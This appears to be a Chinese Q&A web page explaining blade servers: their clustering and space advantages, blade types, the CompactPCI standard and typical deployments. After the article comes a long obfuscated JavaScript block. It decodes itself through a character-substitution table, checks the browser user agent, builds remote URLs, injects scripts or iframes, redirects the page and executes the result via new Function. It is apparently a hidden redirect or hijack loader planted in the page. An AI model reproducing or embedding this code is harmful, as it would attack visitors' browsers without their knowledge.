服务器百问百答,刀片服务器上应用固态闪存盘的好处有哪些?
推荐回答(1个)
所谓刀片服务器是指在标准高度的机架式机箱内可插装多个卡式的服务器单元,实现高可用和高密度。每一块"刀片"实际上就是一块系统主板。它们可以通过"板载"硬盘启动自己的操作系统,如Windows NT/2000、Linux等,类似于一个个独立的服务器,在这种模式下,每一块母板运行自己的系统,服务于指定的不同用户群,相互之间没有关联。不过,管理员可以使用系统软件将这些母板集合成一个服务器集群。在集群模式下,所有的母板可以连接起来提供高速的网络环境,并同时共享资源,为相同的用户群服务。在集群中插入新的
"刀片",就可以提高整体性能。而由于每块"刀片"都是热插拔的,所以,系统可以轻松地进行替换,并且将维护时间减少到最小。
这些刀片服务器在设计之初都具有低功耗、空间小、单机售价低等特点,同时它还继承发扬了传统服务器的一些技术指标,比如把热插拔和冗余运用到刀片服务器之中,这些设计满足了密集计算环境对服务器性能的需求;有的还通过内置的负载均衡技术,有效地提高了服务器的稳定性和核心网络性能。而从外表看,与传统的机架/塔式服务器相比,刀片服务器能够最大限度地节约服务器的使用空间和费用,并为用户提供灵活、便捷的扩展升级手段。
刀片服务器的特点
刀片服务器公认的特点有两个,一是克服了芯片服务器集群的缺点,被成为集群的终结者;另一个是实现了机柜优化。
集群终结者
众所周知,作为一种负载均衡技术,服务器集群已经在有效提高系统的稳定性和核心网络服务的性能方面被广泛采用,在集群系统中,若要提供更高端的运算和服务性能,只需增加更多的单元就可以获得更高的性能。更为重要的是,服务器集群还可以为任何一台单独的服务器提供冗余和容错功能。
目前IT行业正在大力发展适应宽带网络、功能强大可靠的计算机。在过去的几年里,宽带技术极大地丰富了信息高速公路的传输内容。服务器集群和 RAID技术的诞生为计算机和数据池的互联网应用提供了一个新的解决方案,而其成本却远远低于传统的高端专用服务器和大型机。但是,服务器集群的集成能力低,管理这样的集群使很多管理员非常头疼。尤其是集群扩展的需求越来越大,维护这些服务器的工作量简直不可想像,包括服务器之间的内部连接和摆放空间的要求。这些物理因素都限制了集群的扩展。刀片服务器的出现适时地解决了这些问题。在集群模式下,刀片服务器所有的主板可以连接起来提供高速的网络环境,共享资源。同时每个刀片都可内置监视器和管理工具软件,配置一台高密度服务器就可以解决一台到一百台服务器的管理问题,如果需要增加或者删除集群中的服务器,只要插入或拔出一块板即可,将维护时间减少到最小。就这个意义上来说,Blade Server从根本上克服了服务器集群的缺点。
实现机柜优化
从某一角度而言,刀片服务器实现了机柜优化的自然飞跃。刀片服务器将机柜式服务器所占用的空间密度再一次提高了50%。资料显示,在机柜系统配置好的前提下,将1U机架优化服务器系统移植到刀片服务器上,所占用的空间只是原来的1/3~1/2。而在一个标准的机柜式环境里,刀片服务器的处理密度要提高四到五倍。比如在处理1024节点的高密度计算服务器环境里,1U配置需要24个机柜,其中不包括以太网交换集线器所占用的机柜空间,而采用插有8个 "刀片"的刀片服务器,只需要9个机柜,却包括了以太网交换机的空间。在相同的面积内,数据中心可以通过部署刀片服务器获得8倍于机架式服务器的服务器租赁收益。
另外,刀片服务器采用集中管理的方式,可以简化服务器的管理工作。在IT人员日益匮乏的今天,采用刀片服务器的企业可以减少雇佣工资高昂的服务器管理和维护人员,从而降低维护费用。还有,刀片服务器的低功耗设计也会显著减少能耗,节约能源的同时减少了费用。
作为一种新兴的服务器产品,读者可能还缺乏对它的直观认识。每台刀片服务器一般由机柜和刀片组成,因此刀片服务器的标识由机柜的型号和刀片的型号共同构成,而不像以往的服务器那样由一个单一的服务器型号所代表。刀片通过机柜背板上的CompacPCI接口与之相连接。服务器机柜一般可以容纳8片至数十片刀片。刀片以服务器刀片为主,而每个服务器刀片都是一个功能完整的服务器。
在此,我们以一款常见的一种刀片服务器向大家介绍一下,以了解其基本构成。
根据所需要承担的服务器功能,刀片服务器被分成服务器刀片、网络刀片、存储刀片、管理刀片、光纤通道SAN刀片、扩展I/O刀片等等不同功能的相应刀片服务器。
目前最为常见的服务器刀片一般采用1颗为的Intel Pentium Ⅲ处理器,并采用ServerWorks LC-E芯片组、Intel 815芯片组、Via Pro266芯片组,支持的内存容量和类型由芯片组决定,内存类型一般为具有ECC功能的SDRAM或DDR。由于刀片服务器的散热问题较为严重,在设计中也有厂商采用了低功耗的Transmeta 5600处理器。目前,HP、Sun也正致力于把它们的RISC处理器制作成服务器刀片,只是尚未面世。
除连接机柜背板的接口外,服务器刀片上一般还具有一个PMC扩展接口,可以连接PMC接口的扩展卡,如SCSI卡、光纤存储卡等,其功能相当于 PCI扩展槽,只是相应接口的扩展卡价格略贵。服务器刀片采用与笔记本电脑相同规格的65mm(2.5英寸)硬盘,一般只安装操作系统和简单的应用软件,性能较低。
网络刀片
网络刀片的功能相当于局域网交换机,从而提供良好的网络监控和管理功能。网络刀片普遍提供10/100Mbps端口,以双绞线的方式连接服务器刀片,对外提供高速上连通道(千兆端口)。采用NAS存储方式的刀片服务器经常会配备2个网络刀片,其中一个专门用于连接NAS设备。每个刀片支持 10/100/1000M以太网连接,并且可以在背板上安装10/100/1000M的2-4层交换机,这样就可以把系统中每个槽位上安装的刀片与交换机连接起来,提供一个基于IP的交换网络。通过集成这种总线,刀片服务器系统可以很好地集成IP业务和语音业务,提供各种不同的电信增值服务。
存储刀片
存储刀片可以被视为一个硬盘模块,通过背板总线或者硬盘接口线向服务器刀片提供存储功能。存储刀片上一般配备2块性能较高90mm(3.5英寸)硬盘,接口类型有IDE、SCSI和光纤通道(Fiber Channel)接口。
管理刀片
第一代刀片服务器的KVM(Keyboard、VGA、Mouse)刀片可以说是功能最为简单的管理刀片,提供对所有服务器刀片的管理控制。 KVM刀片,提供键盘、鼠标、显示器接口,KVM刀片经常还包括软驱和光驱,便于使用者直接操作服务器刀片。KVM刀片上提供切换开关,用于在机柜上的不同刀片之间或者不同机柜之间进行切换。第二代刀片服务器具备更加强大的管理功能,但是各家产品各不相同。管理刀片往往通过服务器刀片上集成的监控管理芯片进行1台或多台刀片服务器的集中监控和管理。管理刀片向服务器机柜内的其他刀片提供必要的配置信息,并在某些刀片发生故障时接收报警信息,并向监控程序发出报警。
CompactPCI :刀片服务器的标准
CompactPCI开放式标准架构很好地平衡了业界标准,包括硬件、操作系统、应用开发工具、能快速有效开发高利润的电信增值服务,同时使传统上以专有软硬件架构为主的电信建设转型,能享受开放系统带来成本大幅降低及大众化业界标准操作系统的好处。这一转变让设备及服务供应商找到了数以百万计的开发者,并开始采用具高可靠性、高扩展性和高性能的CompactPCI宽频通讯平台。
CompactPCI总线标准是建立刀片服务器的基础。它是惟一的标准,同时也是标准纷争的起源。CompactPCI目前有2个主要的版本,即 1.0版和2.0版,它们在接口定义的完善程度上不尽相同。早期的刀片服务器全部采用CompactPCI 1.0的标准,背板带宽也限定在32位PCI之内,这些产品属于第一代刀片服务器。2002年最新推出的刀片服务器部分采用CompactPCI 2.0标准,背板支持64位PCI通信,称之为第二代刀片服务器。由于标准的版本不同,两代刀片服务器之间不能完全兼容。
目前为止,只有HP一家声称完全按照CompactPCI标准设计刀片服务器,而其他服务器厂商只是在总线和接口标准方面遵循CompactPCI,在刀片的尺寸上没有完全按照该标准去执行。
应用模式指南
刀片服务器的应用很广泛,尤其是对于计算密集型应用,比如天气预报建模、数据采集、数据仿真、数字影象设计、空气动力学建模等等。而对于行业应用,如电信、金融、 IDC/ASP/ISP应用、移动电话基站、视频点播、Web主机操作及实验室系统等,刀片服务器依然能大显身手。刀片服务器的出现使其在2001年底的服务器市场上占据一块相对于机架式服务器来说不算小的市场份额。而随着2002年技术的发展尤其是InfiniBand技术开始扮演重要角色,刀片服务器将逐渐成为主流服务器并占据较大的市场份额。
刀片服务器的使用范围相当广泛。下面我们列出两个典型的应用模式进行简单的介绍。
应用模式1:网站Web服务器
这种方式可充分发挥刀片服务器密度高、可群集以及可远程管理的优势。网站可以用刀片服务器组成高密度的群集,用来实现高访问量的Web服务器,后端再连接中高端的服务器或群集系统作为数据库服务器。存储服务提供商可以采用同样的前端方案,后端配合NAS设备来提供存储服务。与普通机架服务器相比,刀片服务器在这类应用中的优势在于占用机位少,可有效节省托管费用。
应用模式2:中小企业网络服务器
当前的企业网络需求是多方面的,需要类型多样的服务,其中有些服务可以安装在一台机器上,而有些则需要使用至少一台备份机器或者群集。与之相对应,任何一个刀片系统既可以独立运行,也可以与其他服务器组成群集或互为备份。根据企业的实际需要进行搭配。这种方式可充分发挥刀片服务器易管理、配置灵活和可扩展性好的优势。使用刀片服务器进行群集并与存域网相结合,这可以胜任大数据量吞吐的数据库并行处理。对于企业来说,这种高密度不仅节约了宝贵的机柜空间,还节约了布线成本,并可节电,从而降低对UPS的要求。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();